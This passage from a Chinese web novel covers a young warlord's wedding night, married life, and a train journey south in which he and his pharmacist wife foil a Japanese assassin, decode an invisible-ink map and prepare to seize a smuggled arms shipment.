陆淮锦身上带着淡淡的酒气,但眼神却清明得很,甚至比平时更加锐利、更加炽热。
他走到床边,拿起那杆早已准备好的喜秤。
“晚晚。”
他轻唤一声,声音沙哑得厉害。
喜秤挑起,红色的盖头缓缓滑落。
灯下看美人,越看越精神。
沈晚清抬起头。她脸上的妆容精致,眉眼含羞,那双平日里总是清冷理智的眸子,此刻却像是含着一汪春水,波光潋滟。
陆淮锦呼吸一滞。
他扔掉喜秤,单膝跪在床边,视线与她平齐,像是看不够似的,细细描绘着她的每一寸眉眼。
“真好看。”
他喃喃自语,手指轻轻抚过她的脸颊,“比
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我想象中还要好看一万倍。”
沈晚清脸颊微烫,嗔了他一眼:“傻样。”
“是傻了。”
陆淮锦低笑一声,起身去桌边倒了两杯酒,端过来,“该喝合卺酒了。”
两人手臂交缠,仰头饮尽杯中酒。
辛辣的酒液入喉,却化作了满心的甜蜜。
陆淮锦放下酒杯,并没有立刻扑上来,而是从怀里掏出了那把从不离身的**,还有那把象征着陆家军最高权力的指挥刀。
他郑重地将这一枪一刀,放在了沈晚清的手心里。
“这是什么意思?”沈晚清不解。
“这是我的命。”
陆淮锦看着她,眼神前所未有的认真,“枪,是用来杀敌的;刀,是用来号令三军的。现在,我把它们都交给你。”
“从今天起,你是这北六省的女主人,也是我陆淮锦唯一的……司令。”
“你在上,我在下。你指哪,我打哪。”
沈晚清看着手里沉甸甸的武器,又看着眼前这个愿意将身家性命全数交付的男人,心底最后的防线彻底崩塌。
“好。”
她收下枪和刀,放在枕边。
然后,她伸出手,主动解开了陆淮锦领口的第一颗扣子。
“既然我是司令……”
沈晚清嘴角勾起一抹妩媚的笑,眼波流转,“那现在,我要下达第一道命令。”
“请讲。”陆淮锦喉结滚动,声音暗哑。
沈晚清凑近他耳边,吐气如兰:
“陆少帅,宽衣,侍寝。”
轰——!
这一句话,瞬间点燃了陆淮锦体内积压已久的所有火焰。
“遵命,我的夫人。”
他猛地将她压倒在红色的喜被上,挥手一扬,红色的帐幔缓缓落下,遮住了满室的春光。
这一夜,红烛燃尽。
这一夜,战火与硝烟都被挡在了窗外。
在这个只属于他们两人的小天地里,只有彼此的呼吸、心跳,以及那份跨越了两世、终于修成正果的深情。
陆淮锦终于实现了他的诺言——
一生一世,一双人。
而沈晚清,也终于在这个乱世中,找到了那个可以让她卸下所有铠甲、安心依靠的港湾。
第67章 婚后日常
婚后第三日。
冬日的暖阳透过窗棂,斑驳地洒在紫檀木的大床上。
沈晚清动了动有些酸痛的胳膊,迷迷糊糊地醒来。还没等她睁开眼,一股温热的气息便喷洒在了她的颈窝。
“醒了?”
陆淮锦的声音低沉沙哑,带着刚睡醒时的慵懒,还有一丝餍足后的笑意。
沈晚清睁开眼,正对上他那双含笑的眸子。
这家伙,明明昨晚折腾到半夜,怎么现在的精神头比谁都好?
“几点了?”沈晚清嗓音有些哑,下意识地想要坐起来,却被一只铁臂牢牢箍住腰肢,动弹不得。
“还早,再陪我躺会儿。”
陆淮锦像只粘人的大猫,把脸埋在她的长发里蹭了蹭,“这几天为了婚礼,累坏了吧?”
沈晚清没好气地白了他一眼。
累?
婚礼确实累,但更累的是谁,难道他心里没数吗?
“陆少帅,请注意你的言辞。”沈晚清伸出手指,戳了戳他结实的胸肌,“白天是正人君子,晚上是衣冠禽兽。你也不怕传出去坏了你的一世英名?”
“在夫人面前,要什么英名?”
陆淮锦抓住她的手指,放在唇边亲了一口,一脸无赖,“再说了,这是合法的。持证上岗,受法律保护。”
两人在床上腻歪了一会儿,直到门外传来了丫鬟小翠小心翼翼的声音:
“少帅,少夫人,日上三竿了。宋副官在书房已经等了半个时辰了,说是军中有急件……”
陆淮锦眉头一皱,眼底闪过一丝被打扰的不悦:“让他等着!天塌下来也得等我陪夫人吃完早饭!”
“行了,别耍威风了。”
沈晚清推了他一把,掀开被子下床,“正事要紧。你是三军统帅,不能为了我耽误军务。”
看着她利落地穿衣洗漱,那副雷厉风行的模样哪里像个刚新婚的小媳妇,倒像个即将上战场的女将军。
陆淮锦靠在床头,看着看着,嘴角就忍不住上扬。
这就是他选的女人。
既能红袖添香,又能指点江山。
……
帅府,小书房。
宋副官和几个参谋正战战兢兢地立正站好。
今天的书房里烟雾缭绕,陆淮锦穿着便装,坐在宽大的书桌后,手里夹着一支雪茄,眉头紧锁,正在听取关于直系军阀最近调动的汇报。
“这帮孙子,趁着我大婚,竟然敢在边界搞摩擦!”
陆淮锦猛地一拍桌子,杀气腾腾,“传令下去!把重炮团给我拉上去!敢越界一步,就给我轰**!”
“是!”
参谋们吓得大气都不敢喘。少帅这暴脾气,果然还是那个活阎王。
就在这时,书房的门被轻轻推开了。
沈晚清端着一个托盘走了进来。
原本杀气腾腾的陆淮锦,在看到那个身影的瞬间,就像是被施了定身法。
他几乎是下意识地、以一种令人瞠目结舌的速度,迅速将手里刚抽了一半的雪茄摁灭在烟灰缸里,然后若无其事地挥手扇了扇面前的烟雾。
“咳咳……那什么,都站着干什么?坐,都坐。”
陆淮锦的语气瞬间一百八十度大转弯,变得和颜悦色起来。
宋副官和参谋们面面相觑,眼珠子都快掉下来了。
这……这还是刚才那个要“轰**”少帅吗?
沈晚清走到桌前,将托盘放下。里面是一碗冰糖雪梨汤,还有一碟精致的点心。
她并没有看那些文件,而是目光淡淡地扫了一眼那个还没来得及藏好的烟灰缸,又闻了闻满屋子的烟味。
“陆淮锦。”
她叫了他的全名,声音不大,却透着一股不容置疑的威严,“我记得医嘱里写过,你的肺受过伤,支气管敏感。在备孕期间,严禁吸烟。”
“备……备孕?”
下面的几个参谋差点咬到舌头。这词儿是能在军机重地说的吗?
陆淮锦的老脸一红,但在夫人面前,面子算什么?
他立刻站起身,像个做错事的小学生一样,赔着笑脸:“晚晚,我就抽了一口……真的就一口!主要是这帮家伙太笨,气的。”
宋副官:……少帅,这锅我们不背。
“一口也不行。”
沈晚清将雪梨汤推到他面前,“喝了。润肺。”
“哎,好嘞!”
那个在战场上令敌人闻风丧胆的陆少帅,此刻乖乖端起碗,一口气喝了个精光,连渣都不剩。
喝完,他还讨好地把空碗递给沈晚清看:“喝完了。夫人还有什么指示?”
沈晚清满意地点点头,拿出手帕替他擦了擦嘴角,动作自然而亲昵。
“中午记得回来吃饭,我让厨房做了你爱吃的狮子头。还有……”
她转头看向宋副官等人,微笑道:“各位辛苦了。少帅脾气不好,你们多担待。以后他若是再在屋里抽烟,你们就来告诉我。我扣他的零花钱。”
“是!少夫人!”
宋副官等人立刻挺直腰杆,大声应答,看向沈晚清的眼神里充满了崇拜。
神人啊!
能把少帅治得服服帖帖,这少夫人才是陆家军真正的“定海神针”啊!
沈晚清走后,书房里陷入了短暂的死寂。
“咳咳。”
陆淮锦重新坐回椅子上,虽然试图板起脸恢复威严,但眉梢眼角的那股子得意劲儿却是怎么也藏不住。
“都看什么看?”
他瞪了属下一眼,语气里却带着一丝炫耀,“
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没见过疼老婆的?这叫……这叫家庭地位!懂个屁!”
“是是是!少帅家庭地位高!”宋副官忍着笑附和。
“行了,继续说正事。”
陆淮锦敲了敲桌子,但语气明显缓和了许多,“刚才说到哪了?哦,边界摩擦。那个……重炮团先别拉了,动静太大,派个加强营去威慑一下就行。”
众参谋绝倒。
这哪是“妻管严”,这简直就是“妻奴”晚期,没救了!
……
午后,账房。
除了管住陆淮锦的生活习惯,沈晚清还雷厉风行地接管了帅府的内务。
老管家福伯抱着厚厚一摞账本,恭恭敬敬地站在沈晚清面前。
“少夫人,这是帅府这个月的开支明细,还有各房的月例银子,请您过目。”
以前这些都是老夫人赵氏管着的。但自从大婚后,陆大帅直接发话,把中馈之权全交给了沈晚清。
沈晚清翻开账本,那一目十行的速度和对数字的敏感度,让福伯暗暗心惊。
“这一笔,‘西苑修缮费’五百大洋,是怎么回事?”
沈晚清指着其中一项,淡淡问道。
“回少夫人,那是表小姐……哦不,是林婉以前住的院子。老夫人说要翻修一下,留个念想。”
“驳回。”
沈晚清拿起红笔,毫不客气地划了个叉,“林婉涉嫌**,已经被逐出帅府。她的院子封存,以后改成药材库。至于老夫人那边……”
她合上账本,语气平静却透着锋芒,“告诉老夫人,既然身体不好,就安心静养,少操心这些俗务。每个月的燕窝人参我不会少她的,但这种巧立名目的开销,以后就免了。”
“是!”福伯额头冒汗,心中暗道:这位少夫人看着温温柔柔,行事作风却比少帅还要果断。
陆帅府的天,是真的变了。
晚饭时分。
陆淮锦准时回到听涛苑,看着桌上热气腾腾的饭菜,还有灯下那个等着他的人,只觉得一天的疲惫都烟消云散了。
“晚晚。”
他走过去,从身后抱住她,“今天累吗?”
“不累。”
沈晚清给他盛了一碗汤,“就是觉得……这样的日子,挺好。”
没有勾心斗角,没有生死离别。只有柴米油盐,和两颗紧紧相依的心。
“是啊,挺好。”
陆淮锦在她脸颊上亲了一口,“只要有你在,哪怕是地狱,我也能把它变成天堂。”
然而,他们都不知道。
这份难得的宁静与温馨,就像是暴风雨前的最后一道晚霞,绚烂而短暂。
一封来自南方的加急密信,正在快马加鞭地送往北城的路上。
那里面,藏着一个新的风暴。
第68章 海城急信
北城的冬天虽然漫长,但这几日阳光正好。听涛苑的暖阁里,沈晚清正盘腿坐在罗汉榻上,膝盖上摊着一本厚厚的账册,手里拿着红蓝铅笔,时不时在上面勾画两笔。
陆淮锦则躺在她身侧,头枕着她的腿,手里拿着一卷兵书,却半天没翻一页,另一只手正有一搭没一搭地玩着她垂落的一缕发丝。
“别闹。”
沈晚清轻轻拍了一下他不老实的手,“我在算账呢。这几个月药厂的利润虽然高,但投入也大,要在天津和奉天开分厂,资金还得精打细算。”
“算什么算,没钱了跟我说。”
陆淮锦闭着眼,声音慵懒,“我的私库钥匙不是都给你了吗?里面的大黄鱼,够你开遍全中国了。”
“那是你的军费储备,不能动。”
沈晚清虽然嘴上拒绝,但心里却是甜的。这个男人,是真的把身家性命都交给了她。
“那是给老婆的聘礼。”陆淮锦睁开眼,那是独属于她的温柔,“再说了,你现在是少帅夫人,花老公的钱,天经地义。”
两人正享受着这就连神仙都羡慕的静好岁月,门外突然传来一阵急促的脚步声,打破了这份宁静。
“少帅!少夫人!海城急件!”
宋副官的声音在门外响起,透着一股少有的焦急。
陆淮锦眉头微皱,眼底闪过一丝被打扰的不悦,但还是坐起身来:“进来。”
宋副官推门而入,手里拿着一封封着火漆、信封上还沾着泥点和血迹的信件。
“少帅,这是海城那边快马加鞭送来的,说是‘十万火急’,送信的人跑**两匹马,刚到门口就晕过去了。”
“海城?”
沈晚清心头一跳,一种不祥的预感瞬间涌上心头。
她在海城的牵挂只有两个:一个是济世堂,一个是阿福。
她迅速接过信。信封上歪歪扭扭地写着“东家亲启”,确实是阿福的字迹,但字迹潦草,显然是在极度慌乱中写下的。
撕开信封,几张薄薄的信纸掉了出来,上面还带着斑驳的泪痕,甚至……还有几滴干涸的血迹。
沈晚清展开信纸,一目十行地读了下去。
越读,她的脸色越沉,原本红润的脸颊逐渐变得苍白,握着信纸的手指也因为用力而指节泛白。
“怎么了?”
陆淮锦察觉到了她的异样,伸手揽住她的肩膀,“出什么事了?”
“济世堂……出事了。”
沈晚清深吸一口气,努力压制住胸腔里翻涌的怒火和担忧,将信递给陆淮锦。
“阿福在信里说,三天前,海城突然冒出来一家名为‘大和医馆’的新药铺,不仅以极低的价格倾销假冒的‘青霉素’,还……还治**了。”
“治**?”陆淮锦接过信,目光如炬。
“对。他们治**人,却反咬一口,说是用的我们济世堂的药方。那些死者家属被人煽动,抬着棺材堵在济世堂门口,**烧……”
沈晚清的声音有些颤抖,“阿福为了护住柜台里的账本和药材,被人打破了头。赵龙大哥带着丐帮兄弟去帮忙,结果……结果对方竟然动了枪!”
“动枪?”
陆淮锦眼神一凛,身上那股慵懒的气息瞬间消散,取而代之的是令人胆寒的杀意。
在海城,敢动枪,还敢针对济世堂,这背后若是没有大势力撑腰,打死他都不信。
“还不止这些。”
沈晚清指着信纸的末尾,“阿福说,那个‘大和医馆’的幕后老板,放出话来,说……说济世堂的东家沈晚清是欺世盗名的骗子,青霉素是偷来的配方。他们要收购济世堂,否则就要让阿福和赵龙……横尸街头。”
“大和医馆?”
陆淮锦冷笑一声,将信纸狠狠拍在桌上,“好一个大和!这名字,一听就是那帮矮脚鬼搞的鬼。”
“佐藤一郎。”
沈晚清吐出这个名字,眼中闪烁着寒光,“上次在北城没能买走配方,这次是想在海城断我的根基。他们不仅想要毁了济世堂的名声,更想要……逼我现身。”
这是一场针对她的局。
对方知道她在北城有陆淮锦护着,动不了手,所以就对远在海城的济世堂下手。阿福和
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赵龙,成了他们手中的人质。
“东家,快回来吧……阿福怕是撑不住了……”
看着信纸最后那句带着绝望的呼喊,沈晚清的心像是被针扎了一样疼。
阿福是她重生后收的第一个伙计,忠心耿耿;赵龙更是多次救她于危难。如今他们有难,她怎么能坐视不管?
“我要回海城。”
沈晚清抬起头,目光坚定地看着陆淮锦,“立刻,马上。”
陆淮锦没有说话。
他看着她,沉默了片刻。
他知道海城现在是个是非之地,日本人、黑帮、各国势力盘根错节。让她一个人回去,无异于羊入虎口。
但他也知道,如果不让她去,她这辈子都会良心不安。
“好。”
陆淮锦站起身,走到衣架前,取下那件军用大氅,披在沈晚清身上。
“不过,不是你一个人回。”
他一边替她系着领口的扣子,一边淡淡地说道:
“正好,南边的**军发来电报,想跟我谈谈‘合作’的事。地点,就在海城。”
沈晚清一愣:“你是说……”
“我是说,这海城,本帅也想去逛逛了。”
陆淮锦看着她,嘴角勾起一抹霸道而宠溺的笑:
“既然有人敢欺负我的人,那我这个当家的,总得去给他们立立规矩。”
“顺便……”
他凑近她耳边,低声道:“咱们成亲这么久,还没度过蜜月呢。这就当是……公费旅游了。”
沈晚清看着他。
虽然他说得轻松,但她知道,他这是在陪她去闯龙潭虎穴。
“陆淮锦。”
“嗯?”
“谢谢。”
“还是那句话,口头谢谢没诚意。”
陆淮锦握住她的手,大步向外走去,“这次去海城,咱们新账旧账,跟那帮日本人一起算!”
“宋副官!”
“到!”
“备车!去火车站!通知警卫营,一级战备!”
“是!”
原本平静的帅府,因为这一封信,再次运转起来。
这一次,目标——海城。
第69章 南下计划
民国十年,二月初二。龙抬头。
今日的北城火车站,比过年还要热闹。
警卫营荷枪实弹,将整个车站围得水泄不通。无数记者扛着**短炮,挤在警戒线外,闪光灯闪个不停。
他们都在等待那位刚刚新婚不久、就要带着夫人南下“度蜜月”的陆少帅。
“听说了吗?少帅这次可是大手笔,为了让少夫人开心,特意申请了专列南下!”“这哪是度蜜月啊,这分明是巡视领地!听说南方那边好几个督军都要来接驾呢!”
在一片议论声中,陆淮锦挽着沈晚清的手,出现在了众人的视线中。
陆淮锦今日穿了一身便装,深灰色的西装剪裁得体,外面披着一件质感极佳的黑色风衣,少了几分战场的肃杀,多了几分民国贵公子的风流倜傥。
而沈晚清则穿着一件淡紫色的洋装,戴着一顶精致的法式网纱帽,手里拎着一只在此刻极其时髦的皮包。
两人并肩而立,郎才女貌,简直就是画报里走出来的人物。
“笑一笑,夫人。”
陆淮锦侧过头,在沈晚清耳边低语,脸上挂着宠溺的笑容,嘴里说出的话却只有两个人能听见,“左边那几个记者是直系军阀的眼线,右边那个**卷的是日本人的探子。既然是度蜜月,咱们得演得像一点。”
沈晚清闻言,嘴角那一抹原本有些僵硬的弧度瞬间变得自然而甜蜜。
她亲昵地挽紧了他的手臂,甚至将头靠在他的肩上,声音软糯:
“夫君说得是。既然他们想看恩爱戏,那咱们就演给他们看。”
“咔嚓!咔嚓!”
这一幕“恩爱”的画面瞬间被定格在无数胶卷上。
明日的报纸头条有了——《陆少帅携美眷南下,烽火乱世只羡鸳鸯》。
……
蓝钢快车,一号包厢。
随着一声汽笛长鸣,列车缓缓驶出站台,将喧嚣与眼线都甩在了身后。
车厢门刚一关上,陆淮锦脸上的笑容便瞬间收敛。
他脱下风衣扔在沙发上,走到酒柜前倒了两杯水,递给沈晚清一杯,神色变得冷峻而严肃。
“刚才宋副官来报,鱼已经咬钩了。”
陆淮锦喝了一口水,眼中闪过一丝精光,“佐藤那个老狐狸果然坐不住了。我们刚一动身,他在北城的暗桩就开始频繁发报。估计这一路上,咱们不会寂寞。”
“你是故意的?”
沈晚清捧着水杯,看着他,“如此高调南下,不仅仅是为了去海城救急,更是为了把这帮盯着青霉素配方的饿狼引出来?”
“没错。”
陆淮锦走到地图前,手指在铁路线的一点上重重一按。
“海城那边虽然乱,但那是你的地盘,有商会和丐帮在,佐藤一时半会儿吞不下济世堂。他真正的目标,是你,还有我。”
“与其让他们躲在暗处放冷箭,不如给他们一个靶子。”
陆淮锦冷笑一声,“这列火车,就是我给他们准备的坟墓。”
沈晚清看着眼前这个运筹帷幄的男人,心中不禁感叹。
他不仅仅是个护短的丈夫,更是一个深谋远虑的统帅。他把这次南下变成了一场“钓鱼执法”,既能解决海城的危机,又能顺手清理掉这批一直像苍蝇一样盯着他们的特务。
“除了日本人,还有别的事吧?”
沈晚清敏锐地察觉到他话里有话。
“瞒不过你。”
陆淮锦从公文包里掏出一份绝密文件,递给沈晚清,“这是南方**军发来的密电。”
沈晚清接过一看,脸色微变。
电报的内容很简短,但分量极重——南方**军总司令,邀请陆少帅在途经徐州时“会猎”,共商国是。
“北伐?”沈晚清吐出两个字。
“嗯。”
陆淮锦点点头,目光深邃,“现在的局势,直系军阀把持中央,**求荣。南方**军势头正猛。我陆家军虽然盘踞北方,但也不能一直偏安一隅。这次南下,度蜜月是假,救济世堂是真,但这第三件事——与南方接触,才是关乎未来的大棋。”
沈晚清合上文件,只觉得手中的分量沉甸甸的。
这次南下,哪里是什么蜜月旅行,分明是一次行走在刀尖上的**博弈。
“怕吗?”陆淮锦看着她。
“有你在,不怕。”
沈晚清将文件还给他,眼神坚定,“不管是日本人,还是各路军阀。只要他们敢伸手,我就剁了他们的爪子。”
“好。”
陆淮锦握住她的手,眼中满是赞赏。
“不过,演戏要演全套。”
他话锋一转,
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刚才那种严肃的**家面孔瞬间消失,又变回了那个不正经的无赖少帅。
他一把将沈晚清拉进怀里,让她坐在自己的大腿上。
“虽然是假蜜月,但这夫妻之实,咱们可是真的。”
陆淮锦的手指轻轻摩挲着她的腰际,“这一路上路途遥远,夫人,咱们是不是该找点乐子?”
沈晚清还没来得及说话,门外突然传来了宋副官的三声轻叩。
这是有情况的暗号。
陆淮锦眼神一凛,瞬间松开沈晚清,从腰间拔出**,藏在靠枕下,然后恢复了刚才那种慵懒调情的姿势。
“进来。”
门被推开。
宋副官并没有进来,而是侧身让开,露出了身后一个穿着列车员制服、端着茶盘的男人。
“少帅,夫人。”那列车员低着头,声音恭敬,“这是列车长特意让人送来的极品龙井,请二位品尝。”
陆淮锦并没有看茶,而是盯着那个列车员的手。
那双手虽然粗糙,但虎口处却有一层厚厚的老茧——那是常年握枪才会留下的痕迹。而且,他走路的姿势虽然刻意弯着腰,但下盘极稳,显然是个练家子。
“放下吧。”陆淮锦淡淡道。
“是。”
列车员端着茶盘走进包厢。
就在他弯腰放茶杯的一瞬间,沈晚清突然闻到了一股极淡、极淡的味道。
那不是茶香。
那是一种类似于苦杏仁,又混杂着某种化学显影剂的特殊气味。
作为制药专家,她对这种味道太熟悉了。
这是——**的前调,或者是某种用于传递情报的特殊墨水味!
沈晚清的心猛地一跳。
她不动声色地按住了陆淮锦的手背,指尖在他掌心轻轻划了一个“毒”字。
陆淮锦眼神微不可察地一变。
“等等。”
就在那个列车员放下茶杯准备退出去的时候,陆淮锦突然开口叫住了他。
“少帅还有什么吩咐?”列车员停下脚步,背影微微僵硬。
“这茶太烫了。”
陆淮锦端起茶杯,轻轻吹了吹漂浮的茶叶,嘴角勾起一抹嗜血的冷笑:
“不如……你先替本帅尝尝?”
列车员猛地转过身,原本恭敬的脸上,此刻露出了一抹狰狞的杀意。
第70章 间谍疑云
“敬酒不吃吃罚酒。”
陆淮锦话音未落,那个原本躬身低头的列车员突然暴起!
“啪!”
手中的茶盘被他猛地掀翻,滚烫的茶水泼向陆淮锦的面门,与此同时,一把闪烁着幽蓝寒光的**从袖口滑出,直刺陆淮锦的咽喉。
动作狠辣,一击毙命,这是受过严苛训练的职业**!
“小心!”沈晚清惊呼。
但陆淮锦连眉毛都没动一下。他侧身微闪,那杯滚烫的茶水擦着他的鼻尖飞过,泼在了身后的真皮沙发上,冒出一阵白烟。
紧接着,他闪电般出手,铁钳般的大手精准地扣住了刺客的手腕。
“咔嚓!”
一声令人牙酸的骨裂声。
“呃啊——!”刺客发出一声惨叫,手里的**当啷落地。
还没等他做出下一步反应,陆淮锦已经一脚踹在他的膝盖弯上,迫使他重重跪地,随即反手一记手刀,狠狠劈在他的后颈。
整个过程不过两秒钟。
刚才还杀气腾腾的刺客,此刻像条死狗一样趴在地上,动弹不得。
“少帅!”
门外的宋副官听到动静,立刻带着卫兵冲了进来,几把**瞬间顶在了刺客的脑门上。
“绑了。”
陆淮锦接过沈晚清递来的手帕,慢条斯理地擦了擦手上的茶渍,眼神冷漠,“搜身。把他的牙齿也撬开,别让他**。”
宋副官经验丰富,立马上前捏住刺客的下巴,果然在他后槽牙的位置发现了一颗**的胶囊。
“想**?没那么容易!”宋副官冷笑一声,直接用**敲掉了那颗毒牙,顺便塞了一团破布堵住他的嘴。
“唔!唔!”刺客双眼赤红,死死盯着陆淮锦,那是只有死士才有的绝望与疯狂。
“搜到了什么?”陆淮锦问。
卫兵们将刺客身上搜了个底朝天。
除了一把淬毒的**、一把南部十四式**,还有一本伪造的列车员证件。
“少帅,这小子的内衣领口里,缝着这个。”
宋副官用刀挑开刺客的衣领,从中抽出了一张折叠得整整齐齐的……白纸。
“白纸?”
陆淮锦接过那张纸,翻来覆去看了看。纸张泛黄,质地坚韧,但上面空空如也,连个墨点都没有。
“这是什么意思?耍我们?”宋副官皱眉,“难道是没来得及写?”
“不。”
一直站在旁边观察的沈晚清走了过来。
她从陆淮锦手中接过那张白纸,凑到鼻端闻了闻。
那股淡淡的、之前在茶水里闻到的苦杏仁味再次出现,但这次还混合着另一种特殊的酸味——像是柠檬,又像是某种化学试剂。
“这不是白纸,这是密信。”
沈晚清的眼神变得锐利,“如果我没猜错,这上面是用‘隐形墨水’写的情报。刚才那杯茶里下的不仅仅是毒,可能还有显影剂。他是想在毒死我们之后,再用茶水让情报显形,或者……毁尸灭迹。”
“隐形墨水?”陆淮锦挑眉,“江湖上的把戏?”
“是间谍的惯用手段。”
沈晚清走到桌边,拿起那瓶还没喝完的红酒,又看了看桌上的急救箱。
“这种隐形技术通常利用的是酸碱反应或者淀粉碘化反应。想要看到上面的字,得用对‘钥匙’。”
她转头看向那个还在挣扎的刺客,用日语冷冷地问了一句:
“你是黑龙会的人,还是特高课的?”
刺客听到这纯正的日语,瞳孔猛地一缩,虽然嘴被堵住了,但那份震惊怎么也藏不住。
“看来是日本人
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没跑了。”
沈晚清直起身,对陆淮锦说道,“少帅,这封信既然是被贴身缝在领口里的,说明极为重要。日本人费尽心机混上这趟专列,绝不仅仅是为了刺杀这么简单。这信里,恐怕藏着针对我们的大阴谋。”
陆淮锦看着她,眼底闪过一丝赞赏。
“你能解开吗?”
“能。”沈晚清自信地点头,“只要给我十分钟,我就能让这只‘鬼’现原形。”
“好。”
陆淮锦挥了挥手,“宋副官,把这垃圾拖下去,严加看管。别让他**,留着还有用。”
“是!”
刺客被拖了下去,包厢里重新恢复了安静。
但这份安静之下,却涌动着更大的暗流。
陆淮锦看着桌上那张空白的信纸,眉头微锁。
他在想,如果这是日本人的情报,那他们究竟在谋划什么?是在前方的铁路埋了**?还是勾结了南方的某些势力?
“晚晚。”
他走到沈晚清身边,看着她已经打开了急救箱,熟练地调配着各种药剂。
“这次南下,看来比我想象的还要热闹。”
陆淮锦的手指轻轻敲击着桌面,眼中闪烁着猎人看到猎物时的兴奋光芒,“这张纸上写的东西,也许能决定我们这趟能不能活着到海城。”
沈晚清将调配好的显影液倒在一个浅盘里。
“那就让我们看看,这帮日本人到底在搞什么鬼。”
她深吸一口气,用镊子夹起那张白纸,缓缓浸入药水中。
液体浸润纸张。
一秒,两秒,三秒。
原本空白的纸面上,开始慢慢浮现出一些蓝黑色的线条和字迹。
那不是普通的文字,而是一幅图。
一幅标注着骷髅头和时间的……铁路线路图。
第71章 情报破译
包厢内的灯光调到了最亮。
所有人的目光都聚焦在那个白色的搪瓷浅盘里。随着淡褐色的药水缓缓浸润,那张原本空无一字的白纸上,像是被一只无形的手操控着,逐渐浮现出了蓝黑色的字迹。
线条、地名、时间、数字……
就像是老照片在显影液中慢慢清晰,一个惊天的秘密正在这狭小的车厢里展露真容。
“出来了!”宋副官忍不住低呼一声,眼睛瞪得铜铃大,“真神了!少夫人,这是什么法术?”
“这是化学,不是法术。”
沈晚清神情专注,用镊子小心翼翼地将显影后的纸张夹出来,平铺在桌面的吸水纸上,“他们用的是淀粉水写的字,干了之后无色无痕。但我配制的碘酒溶液能让淀粉变蓝。这种手段虽然老套,但在这种急行军的路上,确实很难被发现。”
陆淮锦没有说话。他此时的注意力已经完全被纸上的内容吸引了。
那是一张手绘的铁路线路图,上面用日文标注了密密麻麻的记号。
“这是……津浦路的南段。”
陆淮锦的手指在图纸上划过,目光最终定格在一个被红圈重点标记的地方——徐州北站。
红圈旁边,还写着一行小字:
【二月三日凌晨两点,‘樱丸号’货列通过,货号K-77,交接予‘毒蛇’。】
“二月三日……那就是明天凌晨?”陆淮锦眯起眼睛,眼底闪过一丝危险的寒光。
“‘樱丸号’应该是日本人的伪装货车。”沈晚清分析道,“至于这个‘毒蛇’……”
“张大帅。”
陆淮锦冷笑一声,吐出了那个名字,“那是他的代号。这个老东西,果然跟日本人勾结上了。”
一直以来,北方的局势就是陆系与奉系的对峙。张大帅虽然地盘不如陆家大,但为人阴险毒辣,绰号“毒蛇”。
“货号K-77,这是日军制式武器的代号。”
陆淮锦指着那个编号,语气森然,“如果我没猜错,这列火车上装的不是普通货物,而是整整一列车的**!日本人想通过铁路,把这批**神不知鬼不觉地运给张大帅,让他从背后捅我一刀。”
宋副官倒吸一口凉气:“整整一列车?那得多少枪炮?要是让张大帅拿到了,咱们北城的防线可就危险了!”
“可惜啊。”
陆淮锦直起腰,看着那张还在滴水的图纸,嘴角勾起一抹嗜血的弧度,“他们的运气不好,碰上了我们。”
如果没有抓到这个间谍,如果没有沈晚清识破这封密信,这批**可能真的就悄无声息地运过去了。
但现在,这张图纸,就成了日本人的催命符。
“少帅,我们怎么办?”宋副官摩拳擦掌,“通知沿线驻军拦截吗?”
“拦截?”
陆淮锦摇了摇头,眼中闪烁着狂傲与贪婪的光芒,“那太便宜他们了。”
他走到地图前,看着那个红圈的位置。
“徐州北站是个小站,平时停靠的车不多。既然日本人想玩阴的,送这么一份大礼给我,那我若是不收下,岂不是不给面子?”
他转过身,对沈晚清说道:
“晚晚,看来我们的‘蜜月’得多加一个节目了。”
沈晚清看着他那副土匪头子要下山**的表情,忍不住笑了:
“少帅是想……黑吃黑?”
“知我者,夫人也。”
陆淮锦大笑一声,一把揽过她的腰,“上次在海城抢了
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英国人的药,这次在徐州抢日本人的枪。这也算是……一碗水端平了。”
“传令!”
陆淮锦神色一凛,立刻进入了指挥状态,“电告徐州驻军第三师,今晚在徐州北站外围秘密集结,切断一切通讯!另外,让火车司机加速!我们要在‘樱丸号’到达之前,先给他们布个口袋阵!”
“是!”宋副官敬了个礼,转身冲去发电报。
包厢里重新恢复了安静。
沈晚清看着桌上那张渐渐变干的图纸,心中也不免有些激荡。
她原本只是想利用化学知识抓个间谍,没想到竟然钓出了这么大一条鱼。一列车的**,在这个乱世,那就是安身立命的本钱。
“陆淮锦。”
“嗯?”
“你这次要是抢成了,日本人估计要气得**了。”
“气死最好。”
陆淮锦不在意地整理了一下袖口,“他们送枪,我收枪。这叫……礼尚往来。”
他低头看着沈晚清,眼底的爱意与战意交织:
“夫人,你又立了一大功。这次想要什么奖励?”
沈晚清想了想,手指轻轻点了点他的胸口:
“听说徐州的把子肉不错。等抢完了枪,请我吃肉。”
陆淮锦一愣,随即哑然失笑。
别的女人立了功都要金银首饰,她倒好,就要一碗肉。
“好。”
他握住她的手,放在唇边亲吻,“不仅有把子肉,还有这天下最好的东西,我都给你抢来。”
列车在夜色中疾驰,速度似乎比之前更快了。
车轮撞击铁轨的声音,仿佛变成了急促的战鼓。
前方,就是徐州。
一场精心策划的“截胡”大戏,即将上演。
第72章 截获**
徐州北站,货运编组场。
夜色浓重如墨,寒风呼啸着穿过空旷的站台,卷起地上的枯叶和煤渣。
这里是津浦路上的一个货运枢纽,平时夜晚极为繁忙,但今晚却诡异地安静。方圆五里内的闲杂人等早已被陆家军秘密清场,所有的信号灯都变成了肃杀的红色。
黑暗中,无数双眼睛正紧紧盯着铁轨的尽头。
陆淮锦披着那件黑色的军用大衣,站在调度室二楼的窗前,手里的怀表发出轻微的“咔哒”声。
“还有五分钟。”
他低声说道,语气平静得像是在等待一场即将开演的戏曲。
沈晚清站在他身侧,手里拿着一副望远镜。她今晚换了一身轻便的骑马装,长发束起,显得干练而利落。
“那帮日本人很准时。”沈晚清放下望远镜,指了指远处那两束刺破黑暗的强光,“来了。”
随着一阵低沉的轰鸣声,地面开始微微颤抖。
一列挂着十几节闷罐车厢的黑色货运列车,像一条巨大的钢铁蜈蚣,缓缓驶入站台。车头上并没有悬挂任何标志,只有侧面喷涂着模糊的“粮”字——那是伪装成运粮车的惯用伎俩。
列车停稳。
“嗤——”
白色的蒸汽喷涌而出,遮蔽了视线。
几个穿着黑色风衣、戴着礼帽的男人从车尾跳下来,警惕地四处张望。与此同时,站台阴影里也走出一队穿着奉系军装的人,领头的是个满脸横肉的独眼龙。
“口令?”独眼龙手按在枪套上,压低声音问道。
“樱花盛开。”日本特务用生硬的中文回答。
